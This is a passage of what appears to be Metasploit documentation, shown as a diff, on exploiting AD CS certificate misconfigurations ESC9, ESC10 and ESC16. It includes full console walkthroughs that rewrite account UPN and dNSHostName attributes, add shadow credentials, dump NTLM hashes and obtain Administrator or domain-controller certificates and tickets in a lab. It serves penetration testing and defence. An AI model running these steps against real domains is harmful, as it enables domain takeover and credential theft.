Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
|
||||
covers exploiting that subset of ESC flaws.
|
||||
- ESC16 - Security Extension Disabled on CA (Globally)
|
||||
- [ESC16 - Security Extension Disabled on CA](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC9, ESC10, ESC13, ESC15 and ESC16.
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc16]]
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -921,6 +931,392 @@ msf auxiliary(server/relay/esc8) >
|
||||
[*] Identity: MSFLAB\smcintyre - All targets relayed to
|
||||
```
|
||||
|
||||
# Overview of exploiting ESC9 and ESC10 with Metasploit
|
||||
|
||||
ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
|
||||
user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
|
||||
`userPrincipalName` or `dNSHostName` attribute of "user2". In order to update the attribute, we need to authenticate
|
||||
via LDAP - which is a unique requirement compared to the other ESC techniques and is why there is a separated
|
||||
module called `esc_update_ldap_object` which combines the attribute update via LDAP and certificate issuance process.
|
||||
|
||||
If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
|
||||
server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
|
||||
based on that value. Therefore if we can update "user2"'s UPN to "Administrator" and then request a certificate on
|
||||
behalf of "user2" we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
|
||||
ESC10 minus a number of details we'll get into.
|
||||
|
||||
It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
|
||||
Microsoft attempts to patch CVE-2022–26923 (aka Certifried). During this effort they implemented the new
|
||||
`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
|
||||
property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
|
||||
and certificate template flags.
|
||||
|
||||
## StrongCertificateBindingEnforcement
|
||||
Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
|
||||
|
||||
This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
|
||||
|
||||
| Setting | Method | Strength assessment |
|
||||
| ------- |--------------------------------------------------------------------------------------------------|---------------------|
|
||||
| 0 | No strong certificate mapping checks are done | weak |
|
||||
| 1 | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak |
|
||||
| 2 | Full Enforcement Mode (No weak mappings allowed) | strong |
|
||||
|
||||
In order to exploit these certificate misconfiguration we will need the value of `StrongCertificateBindingEnforcement` to be either `0` or `1`.
|
||||
If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
|
||||
|
||||
## CertificateMappingMethods
|
||||
Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
|
||||
|
||||
This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
|
||||
|
||||
| Bit | Setting | Method | Strength assessment |
|
||||
| --- | ------- | ------------------------------------- | ------------------- |
|
||||
| 1 | 0x0001 | Subject/Issuer certificate mapping | weak |
|
||||
| 2 | 0x0002 | Issuer certificate mapping | weak |
|
||||
| 3 | 0x0004 | UPN certificate mapping | weak |
|
||||
| 4 | 0x0008 | S4U2Self certificate mapping | strong |
|
||||
| 5 | 0x0010 | S4U2Self explicit certificate mapping | strong |
|
||||
| 1-5 | 0x001F | All of the above values | weak |
|
||||
|
||||
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
|
||||
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
|
||||
|
||||
|
||||
## CT_FLAG_NO_SECURITY_EXTENSION
|
||||
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
|
||||
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
|
||||
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
|
||||
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
|
||||
|
||||
|
||||
## Changing userPrincipalName vs dNSHostName
|
||||
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
|
||||
attribute, only machine accounts do.
|
||||
|
||||
# Exploiting ESC9
|
||||
## ESC9 Scenario 1
|
||||
Pre-requisites:
|
||||
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
|
||||
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
|
||||
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
|
||||
- The same vulnerable template has a client authentication EKU
|
||||
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[+] Template: ESC9-Template
|
||||
[*] Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
|
||||
[*] Manager Approval: Disabled
|
||||
[*] Required Signatures: 0
|
||||
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
|
||||
[*] Notes:
|
||||
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
|
||||
[*] Certificate Template Write-Enabled SIDs:
|
||||
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
|
||||
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
|
||||
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
...
|
||||
```
|
||||
Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In
|
||||
our case it is so we can proceed with exploitation.
|
||||
|
||||
We will set a number of datastore options in order to exploit ESC9 in this scenario.
|
||||
We will set `RHOSTS`, `CERT_TEMPLATE`, and `CA` as we normally would. In order to update the UPN of the
|
||||
target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword`, and `LDAPDomain`
|
||||
are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. Note `LDAPRport` must be
|
||||
set in order to connect however it defaults to 389.
|
||||
|
||||
The option `UPDATE_LDAP_OBJECT` is an enum that can be set to either `userPrincipalName` or `dNSHostName` and must be
|
||||
set in order to instruct the module to attempt to exploit ESC9 or ESC10. We will set `UPDATE_LDAP_OBJECT` to
|
||||
`userPrincipalName` in this case and so we then must set `UPDATE_LDAP_OBJECT_VALUE` to `Administrator`.
|
||||
|
||||
It's important for this scenario, when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with
|
||||
other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to
|
||||
map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
|
||||
|
||||
It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the
|
||||
`TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work.
|
||||
This is done automatically by the module.
|
||||
|
||||
In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
rhosts => 172.16.199.200
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
|
||||
ldaprport => 389
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
|
||||
target_username => user2
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
|
||||
ldapdomain => kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
|
||||
ldappassword => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
|
||||
ldapusername => user1
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
|
||||
cert_template => SpencerTest
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
|
||||
ca => kerberos-DC2-CA
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
|
||||
UPDATE_LDAP_OBJECT_VALUE => Administrator
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: user2
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
|
||||
[+] The operation completed successfully!
|
||||
[*] 172.16.199.200:445 - Adding shadow credentials for user2
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
|
||||
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
|
||||
[*] 172.16.199.200:445 - Getting hash for user2
|
||||
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
|
||||
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - Certificate UPN: Administrator
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
|
||||
[*] 172.16.199.200:445 - reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] No matching entries found - check device ID
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: Administrator
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
|
||||
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
|
||||
|
||||
## ESC9 Scenario 2
|
||||
Pre-requisites:
|
||||
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
|
||||
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
|
||||
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
|
||||
- The same vulnerable template has a client authentication EKU
|
||||
- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
|
||||
- Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
|
||||
|
||||
The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
|
||||
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
|
||||
|
||||
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
rhosts => 172.16.199.200
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
|
||||
ldaprport => 389
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
|
||||
target_username => Test2$
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
|
||||
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
|
||||
UPDATE_LDAP_OBJECT => dNSHostName
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
|
||||
CA => kerberos-DC2-CA
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
|
||||
CERT_TEMPLATE => ESC9-Template-Dns
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
|
||||
ldapdomain => kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
|
||||
ldappassword => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
|
||||
ldapusername => Test1$
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Reloading module...
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of Test2$'s dNSHostName:
|
||||
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
|
||||
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
|
||||
[+] The operation completed successfully!
|
||||
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_windows.ad.cs_907188.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 517757a2-5174-5c43-6005-102c4429ff05
|
||||
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
|
||||
[*] 172.16.199.200:445 - Getting hash for user2
|
||||
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_132784.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_364943.bin
|
||||
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
|
||||
[*] 172.16.199.200:445 - reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[+] Deleted entry with device ID 517757a2-5174-5c43-6005-102c4429ff05
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
|
||||
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
|
||||
[*] Running module against 172.16.199.200
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
|
||||
[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
# Exploiting ESC10
|
||||
## ESC10 Scenario 1
|
||||
Pre-requisites:
|
||||
- `StrongCertificateBindingEnforcement` is set to `0`
|
||||
- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
|
||||
- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
|
||||
|
||||
## ESC10 Scenario 2
|
||||
Pre-requisites:
|
||||
- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
|
||||
- The vulnerable template has the `SubjectAltRequireUPN` set
|
||||
- The same vulnerable template has a client authentication EKU
|
||||
- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
|
||||
|
||||
In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
|
||||
In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
rhosts => 172.16.199.200
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
|
||||
ldaprport => 389
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
|
||||
target_username => user2
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
|
||||
UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
|
||||
UPDATE_LDAP_OBJECT => userPrincipalName
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
|
||||
CA => kerberos-DC2-CA
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
|
||||
CERT_TEMPLATE => ESC10-Template
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
|
||||
ldapdomain => kerberos.issue
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
|
||||
ldappassword => N0tpassword!
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
|
||||
ldapusername => user1
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: user2
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to DC2$@kerberos.issue...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to DC2$@kerberos.issue
|
||||
[+] The operation completed successfully!
|
||||
[*] 172.16.199.200:445 - Adding shadow credentials for user2
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_windows.ad.cs_860225.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
|
||||
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
|
||||
[*] 172.16.199.200:445 - Getting hash for user2
|
||||
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
|
||||
[+] 172.16.199.200:88 - Received a valid TGT-Response
|
||||
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_872380.bin
|
||||
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
|
||||
[+] 172.16.199.200:88 - Received a valid TGS-Response
|
||||
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_123025.bin
|
||||
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.1 (Server Authentication)
|
||||
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon)
|
||||
[*] 172.16.199.200:445 - Certificate UPN: DC2$@kerberos.issue
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
|
||||
[*] 172.16.199.200:445 - reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
|
||||
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
|
||||
[+] Deleted entry with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName: DC2$@kerberos.issue
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use ldap_login
|
||||
[*] Using auxiliary/scanner/ldap/ldap_login
|
||||
[*] The CreateSession option within this module can open an interactive session
|
||||
|
||||
msf6 auxiliary(scanner/ldap/ldap_login) > run ssl=true rhosts=172.16.199.200 LDAP::Auth=schannel LDAP::CertFile=/Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
|
||||
[+] Success: 'Cert File /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx'
|
||||
[*] LDAP session 1 opened (172.16.199.1:58674 -> 172.16.199.200:389) at 2025-07-17 14:35:08 -0700
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Bruteforce completed, 1 credential was successful.
|
||||
[*] 1 LDAP session was opened successfully.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/ldap/ldap_login) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP DC2$ @ 172.16.199.200:389 172.16.199.1:58674 -> 172.16.199.200:389 (172.16.199.200)
|
||||
|
||||
```
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
@@ -1084,6 +1480,168 @@ msf auxiliary(admin/dcerpc/icpr_cert) >
|
||||
|
||||
Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.
|
||||
|
||||
# Exploiting ESC16
|
||||
ESC16 refers to a CA-level misconfiguration where the SID security extension (OID `1.3.6.1.4.1.311.25.2`), introduced in
|
||||
the May 2022 KB5014754 update, is globally disabled. This extension allows domain controllers to securely map
|
||||
certificates to user or computer SIDs for strong authentication.
|
||||
|
||||
When this OID is listed under the CA’s `DisableExtensionList` registry key, which is located:
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
|
||||
all certificates issued by the CA will lack the SID binding, making every template behave as though it has the
|
||||
`CT_FLAG_NO_SECURITY_EXTENSION` flag (essentially ESC9). After updating the `DisableExtensionList` the machine will need
|
||||
